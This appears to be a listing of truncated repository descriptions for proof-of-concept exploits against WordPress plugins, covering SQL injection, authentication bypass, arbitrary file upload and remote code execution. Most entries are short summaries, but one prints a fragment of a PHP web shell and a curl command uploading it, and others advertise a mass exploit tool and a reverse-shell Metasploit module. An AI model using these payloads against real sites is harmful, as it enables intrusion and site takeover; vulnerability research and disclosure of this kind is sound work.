CVE-2024-5522-PoC

CVE-2024-5522-PoC : HTML5 Video Player 2.5.27 - Unauthenticated SQLi The plugin does not sanitize and escape a parameter from a REST route before using it in a SQL statement, allowing unauthenticated users to perform SQL injection attacks setup script: 1. git clone...

0-click-RCE-Exploit-for-CVE-2024-10924

CVE-2024-10924 / Auth Bypass 2FA to RCE Exploit Author: Joshua Provoste https://x.com/JoshuaProvoste/status/1859061671852909055 This repository contains a proof-of-concept exploit for CVE-2024-10924, an authentication and 2FA bypass vulnerability in the Really Simple Security WordPress plugin tha...

CVE-2025-5287

🔥 WordPress Likes and Dislikes Plugin ≤ 1.0.0 - Unauthenticated SQL Injection 🧠 CVE ID: CVE-2025-5287 Discovered by: KhaledAlenazi Nxploited Published on: 27 May, 2025 📋 Description The Likes and Dislikes Plugin for WordPress is vulnerable to SQL Injection through the post parameter in all versio...

CVE-2024-8275

CVE-2024-8275 CVE-2024-8275 is a critical SQL injection vulnerability discovered in the WordPress plugin The Events Calendar. This vulnerability affects versions up to and including 6.6.4. The issue arises from insufficient escaping of the 'order' parameter in the tribehasnextevent function...

CVE-2026-1405

CVE-2026-1405 Slider Future = 1.0.5 - Unauthenticated Arbitrary File Upload 🚀 CVE-2026-1405.py — Slider Future Mass Exploit Tool 🩸 Vulnerability Overview Component: Slider Future WordPress plugin Affected Versions: ≤ 1.0.5 Vulnerability: Unauthenticated Arbitrary File Upload CVE: CVE-2026-1405 CV...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Leveraging the shell once...

CVE-2025-2594

CVE-2025-2594 User Registration & Membership = 4.1.2 - Authentication Bypass Disclaimer! The information presented in this CVE Common Vulnerabilities and Exposures writeup is for educational and informational purposes only. The details provided are based on publicly available resources, research,...

CVE-2025-34077

CVE-2025-34077 Unauthenticated Admin Session Hijack - Pie Register Plugin ≤ 3.7.1.4 📌 Description This exploit targets a vulnerability in the Pie Register WordPress plugin versions ≤ 3.7.1.4, allowing unauthenticated session hijacking of admin accounts. 🛡️ This tool is for authorized testing and...

CVE-2024-7135

CVE-2024-7135 The Tainacan plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'getfile' function in all versions up to, and including, 0.21.7. The function is also vulnerable to directory traversal. This makes it possible for authenticated...

CVE-2026-0740

CVE-2026-0740 🧩 Overview CVE-2026-0740 is an unauthenticated arbitrary file upload vulnerability affecting: Ninja Forms File Uploads ≤ 3.3.26 WordPress plugin This flaw allows attackers to upload arbitrary files to the server without authentication, potentially leading to remote code execution RC...

CVE-2022-4140

CVE-2022-4140 - WordPress plugin Welcart e-Commerce 2.8.5 - Arbitrary File Read This repo contains a Proof of ConceptPoC exploit for CVE-2022-4140. Disclaimer This project is provided for educational purposes and authorized security testing only. Do not use it against systems that you do not own ...

CVE-2024-32136

BWL Advanced FAQ Manager 2.0.3 - Post-Authenticated SQL Injection Exploit Title: BWL Advanced FAQ Manager 2.0.3 - Post-Authenticated SQL Injection Date: 14 Apr 2024 Exploit Author: Ivan Spiridonov xbz0n Software Link: https://codecanyon.net/item/bwl-advanced-faq-manager/5007135 Version: 2.0.3...

CVE-2024-1512

CVE-2024-1512 Proof of Concept Vulnerability Overview CVE-2024-1512 exposes a critical vulnerability in the MasterStudy LMS WordPress Plugin, specifically within the implementation of the /lms/stm-lms/order/items REST route. The issue arises from the plugin's failure to properly escape the 'user'...

CVE-2021-24155.rb

WordPress-Backup-RCE This Metasploit module allows an attacker with a privileged WordPress account to launch a reverse shell due to an arbitrary file upload vulnerability in Wordpress plugin Backup Guard versions prior to 1.6.0. This is due to an incorrect check of the uploaded file extension whi...

CVE-2021-43408

CVE-2021-43408: WordPress Plugin Duplicate Post version 1.1.9 - SQL Injection I. Overview 1. What is WordPress WordPress is an open-source CMS Content Management System software, a content management system. Instead of using HTML encoding language, WP is written in the PHP programming language...

CVE-2024-25600

TG Join Us https://t.me/WanLiChangChengWanLiChang Join us to regularly receive various vulnerability EXP POC CVE-2024-25600 Exploit WordPress plugin Bricks Builder has RCE vulnerability CVE-2024-25600 WordPress plugin Bricks Builder RCE vulnerability CVE-2024-25600 exploit script, multi-POC hybri...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector - Arbitrary File Upload Exploit CVE-2024-56264 Overview This repository contains an exploit for CVE-2024-56264 , which is an Arbitrary File Upload vulnerability found in the WordPress ACF City Selector plugin versions = 1.14.0. This vulnerability allows ...

CVE-2020-35590

Exploit Information Exploit Title: WordPress Plugin Limit Login Attempts Reloaded 2.13.0 - Login Limit Bypass CVE: CVE-2020-35590 Date: 2020-06-09 Exploit Author: N4nj0 Software Link: https://wordpress.org/plugins/limit-login-attempts-reloaded/ Version: 2.13.0 Tested on: WordPress 5.4.1, 5.4.2...

CVE-2026-12277

CVE-2026-12277 Frontend File Manager Plugin WordPress = 23.6 - Unauthenticated Arbitrary File Deletion to RCE Summary Field| Value ---|--- CVE| CVE-2026-12277 Plugin| Frontend File Manager Plugin nmedia-user-file-uploader Affected| = 23.6 Type| Unauthenticated Arbitrary File Deletion CVSS| 8.7 HI...

CVE-2024-8856

CVE-2024-8856: WordPress WP Time Capsule Plugin Arbitrary File Upload Vulnerability Overview CVE-2024-8856 is a security vulnerability found in the WP Time Capsule plugin for WordPress that allows unauthenticated users to upload arbitrary files to the server. This can lead to remote code executio...